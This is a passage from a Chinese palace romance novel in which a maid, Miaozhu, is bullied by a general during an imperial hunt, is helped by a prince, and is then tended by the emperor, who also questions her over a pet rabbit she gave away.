以往这种时候施枕谦也比谁都起劲,和陈怀衡在一处不玩尽兴是不肯回来的,今日也许还是在因为前些时日的事情憋气,连带着心里头一直不爽利,匆匆射了两匹虎豹就回了这里。 一回来后不见施宁煦坐在位子上,再看陈怀衡身边的两个宫女在逗弄着一只兔子,却独不见他的身影。 见到妙珠,又想起那日乾清宫中她的做派,火上心头,但又不好在这样的时候闹些什么。 扭头又寻了一圈,就发现陈怀衡和施宁煦在不远处不知说着些什么东西。 他拧了眉,大步往他们的方向去,连声招呼都没打,扯了宁煦的 手就要直接离开。 施宁煦还没反应过来,就被他拉出了几步。 “干嘛呢,哥?” 这又是生些什么气呢。 谁又惹得他不痛快了? 施枕谦闷闷道:“你同他有什么好说的,你在外边养病,他早把你给忘得一干二净了,往后少去往他跟前凑。” 施宁煦觉得他有些莫名其妙了,道:“哥,你在胡说些什么呢,瞎给怀衡哥扣什么帽子。” 一听施宁煦还在一口一个“怀衡哥”的喊他,施枕谦更是一肚子火,他想起陈怀衡的行径,不知他是把他当什么了,又把他妹妹当什么了,当初说得好好的,他会将宁煦当亲妹妹来疼,就算生了病也会照顾她一辈子 结合他们两人平日相处的关系来看,施枕谦自然以为陈怀衡将来是打算娶施宁煦为妻的。不然的话,偏殿那地方,陈怀衡是谁都让去的吗? 结果呢,宁煦就出去养了个病,陈怀衡转头就有了别的女人,这算什么? 偏偏施枕谦又没办法说他什么不是。 身为兄长,自然是希望妹妹一生一世一双人,可是他也清楚知道,他压根就不可能要求一个皇帝去弱水三千只取一瓢。 他最多也只能在道德上谴责陈怀衡,至于其他的方面,他连开口斥责他的机会都没有。 就这样,那口气闷在胸口,越闷越難受,连带着妙珠也一道看不顺眼。 瞧那两个人都烦得很。 偏偏施宁煦又还在给陈怀衡说话。 施枕谦不想叫她知道那些事,怕她会伤心,只气道:“懒得说他了。” 陈怀衡倒是没将施枕谦的气放在心上,任由他扯着宁煦离开。 这处只剩下了他一个人,便也不再干站着,回了位上。 大约等到午时,那些还在狩猎的人便尽数回来了,前些个年得头筹的大多是施枕谦,今年他不乐意玩,这头筹便叫另外一个武将得去了。 陈怀衡赏了东西下去,象征性地说了一些话,便又开了午宴。 妙珠站了快有一上午,腿早就已经不争气地打颤了,最后还是陈怀衡发现不对劲。 他见她面色有些发白,问道:“身上不舒服?” 舒服? 哪里能舒服。 妙珠不好意思提及昨日的事情,还想强撑,一旁的卿云就先开了口:“许是昨个儿累着了,她年岁小,第一回经事,身上应当疼着呢。” 妙珠胆子小,性子腼腆,从床上沾了地后,再提起昨日的事会害臊,到时候只怕又要把疼咽回肚子里头。 卿云看不下去,便抢着先替她说了。 陈怀衡听到卿云的话,眉头拧了起来。 他不知道女人事后会怎么样,他只知道昨日夜里她嘤咛了两句疼,可也从不知道她第二日起来,身上竟会疼得这样厉害。 宫里头的人在明面都对皮肉之事讳莫如深,陈怀衡从小到大所受过的一些教导更是从不提及女人事后该要如何,男人如何倒有可能会提,可是女人?那是断然没有的,与他无益的事情,那些宫人、老师们也都自然而然地不会让他知道。母亲和父亲之间那就更不用说了,他们并不恩爱,他休想从他们的身上寻到一点可能寻到的启发。 妙珠是他的第一个女人,他在她的身上留下了很多东西,妙珠也在他的身上留下很多东西,这是必然的,“第一次”这个字眼总是特殊的,谁来了都是没法否认的。 在这之前,他唯一切身经历过的情。色香。艳之事,竟然是十四岁梦遗那回后续发生的一系列事,那老嬷嬷同他说过男女之事,可他也没怎么放在心上,他那时候操心着北疆的事情,哪里还管得着其他的事情。 而暗里头的事情陈怀衡没接触过,最多就是和施枕谦在北疆的时候,听他说过一些不像样的荤事。可施枕谦总也不会和他说,女人第二日起来身上会疼 万事万物皆有起源,很多时候见微知著就能知道事情的大概,可若是没有一点能学习的地方,上哪里知道去? 总之,陈怀衡在男女之事上也不精明。 他不精明便也罢了,却又没甚同理心,“共情”二字对他来说实在稀缺,若他能切身去体会一番,也该知道妙珠今日要難受一番。 可是妙珠不说,他就什么都不知道了。 他只是想着,自己不疼,自己舒服了,那她也是一样的。 他快活了,她也会快活。 昨个儿夜里在水里那番瞧着她最后也是舒服了,今个儿还早早就要起身,后来还是强被他按着才多躺了一会,而起了身后也没见她喊过疼,除了面色憔悴一些,不见异样。 可妙珠还是太韧了一些。 今日疼了竟也能憋得这样厉害。 他放下了手上的筷著,看着妙珠道:“谁教的你疼也一声不吭?” 笨死了。 你不喊疼,你委屈了不说,谁来疼你啊。 脸都白成这样了,还硬站着,一声也不吭。 妙珠竟难得呛他,声音沉闷闷的:“说了陛下也不听的。” 她不舒服难道不也是他害的吗?她若是说了,他难道又会听吗。昨日夜里,她一直说好疼,他也不曾理会,今日真若同他说了不舒服,他难道不会又像以前一样讥她几句吗。 皇帝反正总是不用去顾忌一个宫女的心情,他只要快活,其余的什么就都不用管了。 他说话也总是那样难听。 从前她也没少挨他的说呀。 今晨她说往后到年纪也可以出宫了,结果又挨了他一顿,下了床后又哪里还敢去啰嗦喊疼。 何必再自取其辱。 从营帐出来之后,昨日的事情她更不想要再去提起,于是乎,便一直将这事憋在了心里头。 陈怀衡知道妙珠在说些什么,竟然难道生出几分心虚,最后只道:“朕也没那么丧良心,这用不着你,回去趟着便是。” “哦,晓得了” 妙珠是真的累,也不跟他推脱,提着装白兔的笼箧就往营帐那边回了。 日光冲破云层,在人间留下金痕,正午的斜阳透过枝叶落在地面照出斑驳的树影,一层层薄云如同鱼鳞片般遮蔽在周遭迭起的群山之上,模糊了景色,深秋的天四处透着凉意,清风拂面,竟已经有些割人。 猎场很大,宴席处和御营两地相去甚远,妙珠提着兔子回去,这两条腿越走越打颤,没法,走到一半,想寻个地方歇下去。 才有这个想法,却忽地有块石头不知是从何而来,打到了她的小腿肚。 妙珠眉头紧紧皱了起来,一瞬间疼得眼眶泛红。 这石头来得突然,力道又大,转瞬间又有一块打到了另外一条腿上。 这场景她并不怎么陌生,年幼之时,一个村子上面的小孩就喜欢这样欺负她,他们喜欢拿弹弓往她的身上打。 只是,和那些小孩子的力道相比,现在的这个力道大得多了。 她一时没能站住,膝盖扑通一声就跪到了地上。 第26章 第二十六章他都怎么欺负你了?…… 她撑着身子想要站起身来,却见眼前出现了一双玄金雲缎镶玉锦靴,妙珠抬头看去,就见施枕謙双手环胸居高临下地看着她。 妙珠知道,他这是来报复她来了。 她回想起上回他去往乾清宫的情形 一开始他也都还好好的,可是后来,不知道他赶她出去后又和陳怀衡说了些什么话,再后来,就突然发了恶疾一样的来针对她。 再再后来,她憋不住才做戏气了他一回。 本以为这事应当就这样过去了的,她也不会和他有什么交集,谁晓得他竟还找上门来了。 她倒是高估了他的气量。 难怪孔夫子说“唯女子与小人难养也”。 妙珠一开始读书读到这句的时候,曾觉古怪,小人难养不错,可女子为何难养?女子得罪过孔圣人吗?后来问过卿雲才知非是那般意思。 可妙珠才 不想管那么多了。 这施枕謙就是个实打实的难养小人! 心中百般生气,明面上却又不敢同他起什么争执,这里没有旁人,他怎么欺负她,她都没办法,事情若是再不小心闹大了,叫陳怀衡知道了,对她更没什么好處。 她不顾痛疼,想要从地上爬起,却被施枕謙一腳踩在了肩头,起不来身。 不曾见过这样的人,和陳怀衡的无礼程度不相上下,也难怪两个人混到一處去。 妙珠憋着气没说话,想把他的腳从肩膀上拿下去,然而他却更用力,妙珠非但没能把他的腳挪开,身子都被踩得直不起来了。 妙珠索性不再挣扎,薄薄的脊背被他踩弯。 她不吭声了,只想着他折腾够了,早些结束。 單單撇开他和陳怀衡曾一起出生入死的关系来说,他是将军,簪缨世胄,她有什么本事和资格去反抗。 他若是不高兴了,直接一刀捅死她,她都没地方说理去。 可便是妙珠不说话,施枕謙也不满意,他冷着声道:“怎么,上回还舌灿莲花,惺惺作态,现在你家陛下不在,连戏都懒得去做了?” 妙珠终于抬起头看向了施枕谦,她浑身上下哪哪都疼,小腿疼,肩膀疼,其他的地方,说不清道不明,也在隐隐作痛。 没哭。 妙珠还是忍着没掉眼淚,她只是道:“不论奴婢故意气将军的那一回,可否告知还有哪里得罪过将军?” 施枕谦倒也没想到她这般能忍,痛成了这样也还能一声不吭,他只冷笑一声,后道:“现在来装傻了,还要我提醒你是吗?你在那里议论我妹妹,被我抓住,忘记了?” 妙珠道:“可奴婢分明什么也不曾说,将军是知道的。” 施枕谦看她如看最卑贱的蒲草,眼中没有任何情绪:“你知道吗,即便不曾说坏话,可像你这样的人,提及她都是一种罪过。” 像你这样的人。 提及她都是一种罪过。 有些人如天上泠泠月,生来就是叫人敬仰的。 就像施枕谦,就像施宁煦,就像陈怀衡。 妙珠懂了,明白了施枕谦的意思。 那她大抵是真的犯了错了。 不知道施枕谦想要怎么做才能消气,可不管怎么做,她也反抗不了。 她不再挣扎,整个上身被他踩得越来越低,整个人都快低到尘埃了。 就在这时候,一旁却传来一道男子的声音,隐隐带着冷气。 “施将军这样,有些太过了吧。” 妙珠抬头往着说话那人方向看去,却见是陈怀霖。 今日他应当也去参与骑猎了,身上穿着一身简洁劲装,他看着施枕谦的动作,眉头紧紧蹙起,显然对他这样的行径十分不认可。 妙珠不知道自己怎么就这么倒霉,每回这么窘迫的境况都要叫陈怀霖撞见。 她几乎是想马上起身逃离这處,然而,施枕谦并没有想要放过她的意思,那只锦靴仍旧死死地踩在她的肩头。 施枕谦回了陈怀霖的话,他戏谑地笑了一声,问道:“个人恩怨罢了,同殿下有何干系?” 陈怀霖道:“个人恩怨吗?个人恩怨便是将人堵在外面,自己偷着教训?不知将军何时要用这种手段为难一个女子。” 什么个人恩怨要他这样? 一个将军用这种见不得人的手段欺负一个姑娘,这若是说出去了,丢臉也是丢他自己的。 陈怀霖又寒着声问道:“陛下知道将军在动他的人?要我多嘴去问一句吗?” 他故意挑这样的时候欺负人,多少也是不想叫陈怀衡知晓。 施枕谦确实如此做想,他就是想趁着陈怀衡不在的时候,先欺负了人,妙珠到时候再回去哭,那他也不管了,总不信陈怀衡真要因她来怎么着动他。 只可惜,还没怎么着呢,陈怀霖倒先出来拦了,那他总不能当着他的面继续。 也没那个臉再下得去手。 施枕谦也不再继续,终于收回了脚。 至于陈怀霖今日插手此事,施枕谦大抵也只是觉得他路过多管闲事。 他当然听说过陈怀霖这人的名声,心中暗忖他就这样没劲,整日高山流水曲高和寡,该管的事不该管的事都要来插一脚。 视线又在那两人身上来回看了两眼。 他更不怕妙珠将今日发生的事和陈怀衡去说了,若是她敢提,那他就说陈怀霖英雄救美,好叫让他们掰扯去。 就这样,最后到底是没说什么,拂袖离开了此处。 待施枕谦离开了这处之后,陈怀霖终于看向妙珠,他朝着她伸手。 “来,我拉你起来。” 陈怀霖的手指修长干淨,日光似给这双白皙的手覆上了一曾淡淡的金辉,妙珠看着眼前的手掌,那种自惭形秽的自卑情绪瞬间充斥了胸口。 她哪敢碰他。 陈怀霖见她盯着自己的手掌不说话,以为手上是有什么脏东西,看了看后,干淨的啊 可就在这时,不知怎地听到她啜泣的声音。 陈怀霖没想到她哭了。 可是想来也是该哭的。 小姑娘被这样欺负,哪能受得住呢。 方才或许是碍于施枕谦在场,哭也不敢哭。 有的人就是这样,你越是哭得厉害,他反倒欺负你的越厉害了,你若是不哭,他自己反倒是先没劲了。 她在这方面看得倒也是通透。 想来从前这样的事也不曾少去面对。 陈怀霖听她哭得伤心,单膝跪在她的身前,隔着袖子为她拍了拍肩上的泥尘。 那上面还残留着一个灰扑扑的脚印。 妙珠被他拍着肩膀上的灰,哭得反倒却更厉害些了,本来还只是抽抽噎噎掉眼淚,叫他这么一弄,反倒越哭越厉害。 陈怀霖有些不知所措,忙道歉道:“妙珠,是冒犯到你了吗?” 是碰到她,让她难受了吗? 陈怀霖暗恼自己有些无礼了,可是可是看到她身上灰扑扑的,就下意识伸手拍去那些浮尘了。 “不是的,殿下” 妙珠想要解释自己为什么要哭,可是,她该怎么解释呢。 因为殿下太好了,所以她哭了?因为没什么人能像他这样待她,所以她哭了?因为看到他,所以施枕谦给她的那些屈辱更不能忍受了,承受不住,所以她哭了? 她说不出口啊。 她只能不停地说,不是的,殿下,您从不曾冒犯过我。 陈怀霖见她哭得如此心伤,从袖口中拿出了一条帕子递给她,他看着她道:“妙珠,擦擦淚吧。” 这次不是简单的白色方帕了,是一条水蓝丝绸巾帕,上面还刺着一朵淡雅的兰草,妙珠却不敢接。 巾帕多为私人物件,而这样的巾帕一看就容易猜出其主人为谁,留在身边便不大妥当了。 陈怀霖道:“没事的,大不了洗净还我就是,你用着吧。” 妙珠终于接过擦拭眼泪。 哭是总算止住一些了,只是还忍不住啜泣抽搭。 妙珠没敢碰陈怀霖的手,自己撑着地就要爬起来,然而,腿又疼又麻,一个没站稳就要重新摔了下去。 陈怀霖手快,将人稳稳当当的扶好,待人站好之后就松了手,也不曾做出什么逾矩的动作。 “多谢殿下。”妙珠站定后便忙同陈怀霖道了谢。 今日若非是陈怀霖刚好路过,也不知那施枕谦要去发些什么疯病,怎么磋磨她。 这样想着,妙珠眼中的感激之意更加真切了一些。 陈怀霖道:“这有什么干系,我们见了这么多次,怎么也算有缘了,举手之劳罢了。” 切实是有些缘分的,第一回两人匆匆忙忙在桥上相撞,再后来,便是在乾清宫了,只是她的处境也实在是有些糟糕,时常叫人欺负。 妙珠听到陈怀霖口中的“有缘”二字,莫名想起了陈怀衡上次说过的“露水情缘”。 想起陈怀衡后,怕到时候回去晚了,他要是比自己先到营帐,那便不好了。 不敢继续在这里耽搁下去,谢过陈怀霖便同他道了别,往着御营的方向回了。 陈怀霖见她匆匆离开也不曾说些什么,只是视线在她离开的背影上停留了一会。 相比较于陈怀衡的冷厉无情,陈怀霖显然 是良善太多。他喜欢于纸上见苍生相,喜欢读史记万物,许是那些字瞧得多了,身上那悲天悯人的文人酸气便也更臭了一些。 怜贫惜弱大抵是人的本能。 妙珠凄凄惶惶的泪滴不知道是什么时候晕染了青年心中的墨纸,那样的仓惶和突兀。 哎,太苦了。 人行于世,怎么都这么苦。 一直到她的身影一瘸一拐地消失不见,陈怀霖才终于收回了自己的视线。 * 妙珠生怕陈怀衡会在自己前头回到营帐,也顾不得腿上的疼痛,往回去赶。 还好,等到回去的时候陈怀衡还不曾回来。 不然,她也不知该去怎么解释。 说出施枕谦倒是不打紧的,左右是他耽搁的时辰,可是,若是说起施枕谦,又难免要提起陈怀霖 妙珠还是不大想要叫他知道的,不然又不知他能多想些什么去。 她还是将这件事咽在肚子里面为好。 待妙珠回了营帐以后就将陈怀霖的那方帕子洗净,在帐中找了个不显眼的地方晾了起来。 也不知道施枕谦是哪里来的牛劲,小腿那里挨了两下石子,到现在都还疼着。 妙珠蹬了脚上的鞋履往床上去,掀起了裤腿,往小腿肚那里去看,果真见那肿了起来。 想起施枕谦心中也仍旧是憋闷,妙珠晃了晃脑袋把这腌臜玩样从脑中赶了出去,又从柜子里头翻出了药往着小腿肚上擦揉。这来回走,来回闹,身心也已疲惫不堪,上完了药后午膳也不曾吃,脑袋往床上一栽就睡了过去。 天色不知道是从什么时候渐渐暗淡了下来,外面发生了什么事情妙珠也都已经无从关心,没有人来喊醒她,这一觉竟就睡得昏天黑地。 最后还是卿雲来摇醒她的。 陈怀衡中午在那边吃过午宴之后,又看了一些比试,那些王公贵族饭后又寻了一些事情出来,什么跑马、射箭啊,他坐那边看了一会,又赏了一些东西下去之后便离开了,回御营的时候倒也还早,才刚过未时,卿雲去看了一眼妙珠,发现人在补觉,便也没有喊醒她了。 可一直到天黑透了也不见人起身,陈怀衡就让卿云去瞧瞧看人是不是睡死过去了。 妙珠难得睡得这样沉,这样久,一下子醒过来,还有懵,没能反应过来。 一直到卿云又叫了她几声之后,才终于有些清醒过来了。 “姐姐,什么时辰了?” 妙珠哑着嗓子问。 “戌时了都过了两刻了。” 难怪天都黑成这样了。 卿云一边回她的话,一边又伸手摸了摸她的额头。 怎么眼睛肿成这样,嗓子也哑了。 卿云以为她这是又烧着了,摸了摸脑门,才放下些心了。 她道:“快起来吧,午膳也没用,晚膳也没用,多少吃些,吃了再睡。” 妙珠被卿云拉了起来。 听卿云的话是,用完膳可以继续睡那便不用去陈怀衡身边候着了,这样想着,心情也好了一些。 可卿云却道:“快些起来,陛下等着你呢。” 妙珠有些懵,问:“不是去吃饭吗。” 卿云道:“陛下也还没用晚膳,开恩喊你一块去吃呢。” 妙珠听到这话之后,两眼一黑,想要拒绝,却已经被卿云二话不说带了过去。 罢了,毕竟是陈怀衡吩咐的,和卿云说也没用啊。 等过去的时候,陈怀衡已经在营帐中坐好,面前也已经摆好了膳食,还未动筷,看这样子还是在特意等着她。 听到门口处的声响,陈怀衡简单地发出了指令。 “坐下吧。” 妙珠想说“陛下,这于理不合”,可是转瞬又想到,陈怀衡这人就是最大的理,说了也是白说。 最后干脆闭嘴,往他的对面坐下。 睡了一个下午,刚起过身,脑子里面还有些晕。妙珠一声不吭坐下,垂着脑袋不说话,陈怀衡不曾动筷,那她也不大能先动。 陈怀衡没动筷,却出声问道:“眼睛怎么这么肿,哭过了?” 妙珠不想陈怀衡知道那会发生的事情,下意识回道:“没有啊。” 只是嗓子一开口也还是有些哑,叫她的话更没信服力了。 陈怀衡的语气有些沉了:“现在还会同朕来撒谎了。” 眼睛又肿又红,嗓子也都哑了,整个人瞧着神色恹恹,还说是没有? 早上起来的时候人还是好的,中午回去的时候也还是好的,症结不在昨日的事上。 那便是回来的时候出了什么事。 陈怀衡问她:“从草场那边回来的时候出什么事了?” 妙珠从始至终都低着脑袋,听到他猜到了什么,抓着衣摆的手指都开始泛白,却还是嘴硬不肯说:“没有,没有出事。” 陈怀衡冷笑一声,喊了人进来,他吩咐下去,去查查妙珠回来的路上究竟是出了些什么事。 妙珠没想到他竟要去查,终于肯抬头看他,只是,被他这样的行径气到,眼眶已经气红了一大片。 她不说,他也有的是办法知道。 他就是非要逼她说。 妙珠不知道是气的,还是急的,猝然喊道:“我说就是了!你不用让他查了!” 奴婢也不喊了,也有胆子大声冲着陈怀衡喊了。 只是,那泪还是不争气流了下来,顺着她的臉颊滚下去。 陈怀衡大概也没想到她会突然发作,脸色阴沉了下去,却也抬手挥退了那人下去。 大概是叫陈怀衡气的,妙珠一哭起来便哭不停了,怎么也止不住,她道:“本就没什么事,只是回来的路上碰到了施将军而已。” 碰上施枕谦了? 这么正好? 陈怀衡想起,今日午宴时,施枕谦用膳至一半,后来确实就不见了人影 他明白了。 按照施枕谦那样的性子,怕是故意去寻了妙珠麻烦。 陈怀衡眉心突然疼得厉害,太阳穴突突跳的。 那也难怪她哭成这样了,施枕谦折腾人起来从来不知輕重的,遑论两人之前还有那样的过节。 陈怀衡从她的话里面猜出大概了,语气终没方才那般强硬,问她:“他都怎么欺负你了?” “没有,没有怎么欺负,只是拿了石头丢了奴婢两下,踩了一下肩膀,再没其他的了” 她手脚都还好好的呢,这算什么欺负,别再提了,别再提那些事了。 妙珠哭得难受,大约是又想起了方才的那件事,陈怀衡的逼迫和刚才的羞辱一起袭来,压抑快把她压垮了。 她是真不想再提了,怕再提下去又要牵扯出了陈怀霖,陈怀衡又不知道能想到哪里去。 可大抵是她哭得太厉害,太委屈了,陈怀衡最后也实在看不下去了,他直接起身,将她拦腰抱起,抱着她去了榻边坐下。 陈怀衡就像是抱小孩一样将她抱在怀中,泪珠落到了他的锦袍上面,氲出了一大片湿润的痕迹。 他伸出手指给她擦了眼泪,滚烫的泪糊了一手,他见她哭得厉害,竟也不自觉放柔了声音。 他问她:“石头打你哪里了?还疼?” 小蠢货向来是没脸没皮的,想来是被打疼了,才哭得这样伤心。 “没有哪里,不疼了的。” 见她还是不肯说,陈怀衡道:“那朕自己来看。” 说罢,就要把人放到榻上脱外裳。 妙珠吓了一跳,忙按住了他的手,她急道:“就打了小腿而已!” 陈怀衡终于停了动作,掀起了她的衣裙下摆,小腿肚那块果然肿了一小块。 肿胀在她那条白皙纤细的小腿上格外的显眼。 妙珠趴在床上,脸埋在双臂之间,不敢抬头,最后只能感觉到他的手指輕轻抚过那处红肿的地方,又疼又痒的。 她似听到了陈怀衡轻叹一口气,而后又道:“疼就跟朕说,受欺负了更要说啊。” 怎么每次都一声不吭的。 若是不问,她就能够一直憋着,憋到天荒地老去了。 妙珠听到了陈怀衡的话,可也没有将他的那话放在心上,他难道会为她责罚施枕谦吗?别好笑了。 她最后只是闷闷地应下,“嗯”了一声便不再说了。 陈怀衡起身离开了一会,很快又回来了,大概是去拿了 药膏,现下在给那处抹药。 沾了药膏的指尖清凉,一下又一下地在腿肚上打着圈。 妙珠忽地想到了什么,转过头去对陈怀衡道:“陛下,这件事真的没什么关系,上回是奴婢故意气将军在先,他理当是不痛快的,您千万不要怪罪他。” 虽然妙珠也没想陈怀衡会为她出头,可是,上回华宁让她学狗爬的时候她就知道了,他不喜欢旁人碰他的东西。 她也是他的东西。 这不关乎喜欢和不喜欢,或许只是他单纯的占有欲罢了。 万一呢,万一陈怀衡就因着这事去和施枕谦闹了不痛快,而施枕谦又将陈怀霖的抖落出来 想到这里,妙珠便又追着道:“陛下,不要因奴婢和将军生了嫌隙” 妙珠自知道说这话是太厚脸皮了些,他一个帝王,凭什么要因为她一个奴婢和情同手足的兄弟起嫌隙? 这不往自己脸上贴金吗。 可陈怀衡却默声片刻,而后盯着她的眼睛问:“方才死都不吭声,是因为不想让朕和施枕谦闹不愉快?不想给朕寻麻烦?” 反应这样大,所以是担心他给她寻仇惹了麻烦啊? 第27章 第二十七章她为什么不和你说陈怀霖的…… 妙珠只是不想牵扯上陳怀霖罢了,然而现在也没有其余的借口了,最后口是心非地“嗯”了一声,算是应下。 可陳怀衡对此竟也有些受用,轻笑了一声,道:“现在还有心思想些别的。” 他也没再说些别的了,不过妙珠看他神情,猜他应当是不会再追究这些事了,她收回了视線,趴在小臂上,任由他为她上着药。 也没伤到哪里,还没第一回回给陳怀衡磕头伤得重呢。 两条腿都上好药后,妙珠就马上爬起来从榻上下去了,有了昨日的事情在先,这样的情形她多少还是有些不大自然。 陳怀衡见她这样火急火燎,不禁蹙眉:“这么急做些什么?” 还不待妙珠回答,肚子适时地发出一声“咕噜”响。 这一声倒是提醒陈怀衡了,她快一日没用过膳了。 没再问下去,直接扯了她的手往摆着膳食的桌子那边去,按着她在自己身边坐下。 他不容妙珠反应拒绝,淡声道:“吃吧。” 妙珠一日未曾用膳,肚子确实饿得不大好受,可坐在陈怀衡旁边,面前的真珍馐美食竟有些难以下咽了,怕挨了他的说,强撑着吃了一些下去。 陈怀衡以为她是没胆子夹菜,往她的碗里面夹了好些菜:“朕既允你坐着一道用膳,吃那些猫食做什么?” 猫吃得比她都多。 也难怪人瘦成那样了,除了胸脯上有点肉,其他地方掐着都硌人。 妙珠的碗里很快就被陈怀衡堆成了小山丘,他像是寻到了什么乐趣,自己不用膳,倒一个劲地往她的碗里面夹菜。 妙珠最后不得不出言阻止:“陛下,真的要吃不下了。” 陈怀衡道:“吃不下慢慢吃就是了。” 他暂时歇了一会,没再夹了,然而,等到妙珠碗里面空下去一些,他马上又开始填满。 妙珠敢怒不敢言,只得埋头猛吃。 一桌子的菜,最后大半都落到了妙珠的肚子里头了。 陈怀衡没再继续留她下来服侍,果真是吃了饭就让她回去休息了,他大概是有些良心发现,后面也给她批了几日的假,允她在帐子里头休息。 妙珠得了他的恩,便回去了,只是晚上一下子被喂得太多,撑得肚子都跟着发胀。 肚子饱得难受,觉是再睡不着,妙珠忽又想起白日陈怀衡丢给她的兔子。 兔子也快跟着饿了有一日了。 她把白兔从笼子里头抱出来,想着抱它去外边吃些草回来。她也不走遠,就在附近走着,应当也没什么大事。 左右也睡不着,便当消食去了。 就这样想着,妙珠抱着兔子出了门。 夜凉如水,两三星子坠于夜空,月光投射下的树荫掠影满径,御营周遭守卫森严,除了一些士兵之外,还时常会有锦衣卫的人来往巡逻。 那些多少有些眼熟妙珠,见她抱着兔子出门也不曾拦截,放任着她去。 不过,妙珠也没想着走出去多遠,最多在旁边寻处生了草的地方,能将兔子喂饱就够了。 御营旁边没什么杂草,妙珠走出了一些路,总算是寻到了片有草的地。 她蹲下身,将兔子放到了地上,让它自己去吃草。 可谁知道,这白兔凑上去嗅了嗅草后,许是是不大喜欢,竟拔腿就跳。 一下两下,待到妙珠反应过来后,她已经蹦出了好几步。 她马上提起裙子追了过去,奈何那条腿还疼着,怎么跑都跑不快。 眼看兔子越跑越遠,妙珠也有些急了,就在这时,前方不远处剛好有个姑娘往这方向来,看到这白兔往她那边去,直接蹲下身将它抱了起来。 妙珠见兔子被逮住了,也终于停下脚步不再跑。 她认出了那帮她抓兔子的人,是今日和陈怀衡说话的那姑娘。 正是施枕謙的妹妹,施寧煦。 这么凑巧,她这个时候怎么出现在这? 妙珠还没反应过来之时,施寧煦已经抱着兔子走到了她的面前。 她双手捏着白兔的身子,将它递给了妙珠,她问:“是你的兔子吗?” 妙珠一边同她行礼,一边接过了兔子又同她道谢。 施寧煦也认得她。 她今日在陈怀衡的身边见过她,又看她身上的服饰,多少猜出她是陈怀衡身边的侍女。 施寧煦听她连连道谢,便阻了道:“莫要这般客气,只是举手之劳罢了。” 她又问:“这兔子怎么跑出来了?” 兔子跑走了那就不大好继续追到了的。 今日若非刚好这般凑巧,这兔子多半是要没了。 妙珠见她问,便如实解释:“方才想将它放在地上吃草来着的,谁知道它嗅了嗅,就跳走了。” 施宁煦听到这话,想起了以前的往事,笑出了声,她道:“兔子可挑嘴可娇气了,它方才应当是不大喜欢那草,就跑了。我以前也養过一只兔子,干果、草粮那都得哄着它才肯吃。” 施宁煦说话随性,妙珠也跟着卸下了心防,她搓了把这兔子的脑袋,嘀咕道:“这么麻煩吗这也不吃,那也不吃,岂不是很容易饿死。” 妙珠和小妹也养过兔子的,只不过还没饿死,就先被她们烤了吃了。 没想到兔子这东西这么精贵,她自己都难活,遑论说再养这么一只金贵的兔子。 施宁煦也有所感,她道:“是很麻煩,我也时常因它头疼,可若是眼睁睁看它饿死了,也于心不安,没办法,也只能好生供着了。” 妙珠好奇道:“那小姐的那只兔子大约活了多久?” 施宁煦瞧着是个精细的人,兔子跟着她应当也能活得久。 施宁煦有些尴尬地摸了摸鼻子,道:“二十天” 妙珠愣了片刻,“啊?”了一声。 施宁煦忙为自己解释:“我没有饿着它,只是怪没看住它,它偷偷跑去喝了我的药就死了。” 那个时候她还是不大有经验,后来问了子明大师,才知道兔子远比她想得还要难照顾。她很早时候就跟着父兄在北疆生活,见过的死尸不计其数,后来远离了纷争,在溪山養病,心肠也跟着重新软了回去,当时还没少为那只死掉的兔子伤心。 妙珠想起来了,施小姐的身子一直是不大好的。 听到她的话后,又对这只兔子犯了头疼。 才发现女子与小人不难養,兔子难養。 她有预感,兔子跟着她只会死路一条,饥一顿饱一顿,不知怎地就病死了去。 施宁煦看着 妙珠对兔子犯难,便道:“莫不如我帮你养?” 剛好那只兔子二十天就死了,她到现在也有些遗憾。 兔子有去处了,妙珠的眼睛当即亮了亮,可她怕麻煩了施宁煦,有些踟蹰道:“不麻煩小姐吗?” 施宁煦笑了笑:“我每日在府上也没甚事呀,有什么好麻烦的呢。” 没有麻烦到她就行,妙珠见她如此说,也放下了心把兔子递给她。 施宁煦接过了兔子,往脸上蹭了两下就抱在了怀中。 妙珠从前很好奇,这施小姐是个怎么样的人,现下见到了她,莫名想起了施枕謙今日说的那话。 像她这样的人,提及她都是一种罪过。 那种自厌自弃的情緒在见到施宁煦之后就那样被无端地放了大。 妙珠解决了兔子的事后,打算回去营帐,可又想起问施宁煦怎会出现在这处。 施宁煦道:“是来寻陛下的,有些事要去说。” 妙珠了然,这才后知后觉想起这是御营附近,那么施宁煦过来自然是来寻陈怀衡的。 她看向施宁煦手上抱着的兔子出了神 当时陈怀衡把兔子丢给她的时候,说的是随手猎的,那她将这兔子送给施宁煦来养,应当也不打紧的。 便是叫他看到了,那也没什么事的。 这样想着,妙珠也没再说什么。 既施宁煦是去寻陈怀衡的,两人剛好顺路,一道往着那里回去。 路上,施宁煦还问了妙珠的姓名,最后快到营帐处,两人才终分道扬镳。 既陈怀衡难得良心发现让她休息,那妙珠自然不眼巴巴凑上前,送施宁煦到了营帐门口便离开了。 施宁煦也没多嘴去问,同她道了别,便去寻了陈怀衡。 守在营帐处的人进去传了话,不一会她就被迎进了营帐之中。 陈怀衡方和妙珠一道用过晚膳便坐去了桌案前处理公务。 只是,有些心不在焉,视線从始至终都只是虚虚地落在面前的字上,脑袋里头却在想些别的事情。 大概是妙珠方才哭得太伤心了,一直到现在,陈怀衡的额穴都还在突突地跳着。 她那双腿本就疼着,现下多了两个包,也不知道什么能好。 陈怀衡想着,接下来的几日还是得把她抓过来上药才行,她自己定是三两打渔两天晒网,也不知何年何月才能好 不知不觉间,思緒飘散去了远方,待陈怀衡回过神来后,才发现面前的公务一动未动。 他收回了思绪,揉了揉额穴整理了思绪就要重新处理公务。 可就在这时,外面的人来禀告施宁煦过来了。 他便又只好放下了手上的事,让人进了营帐。 她这个时候过来,应当是有事情想要去说的。 他放下了手中朱笔,抬眸看向了往里边来的施宁煦。 然而,视线却凝在了她身前抱着的兔子上面。 这兔子,不正是他早上给那小蠢货猎回来的吗。 怎么到了施宁煦的手上? 施宁煦注意到了他的视线,怎么像是要把兔子盯出一个窟窿出来。 她问道:“怀衡哥,你这是怎么了?兔子怎么了吗?” 陈怀衡黑瞳幽深,不自觉间透露出了些危险的气息,他问施宁煦:“宁煦,兔子哪里来的?” 施宁煦也不知道他这是怎么了,却还是如实道:“方才来的路上恰好碰到了你身边的那个小宮女,这兔子我看养在她身边不大方便,她也刚好觉着麻烦,便被我要过来养了。” “你要她就给了?”陈怀衡问。 他赏赐的东西,她倒是大方得很,说给就给出去了。 麻烦? 她又还嫌上麻烦了? 施宁煦道:“对啊。” 她要妙珠也就痛快给了。 不然呢? 刚好她也嫌这东西麻烦呢。 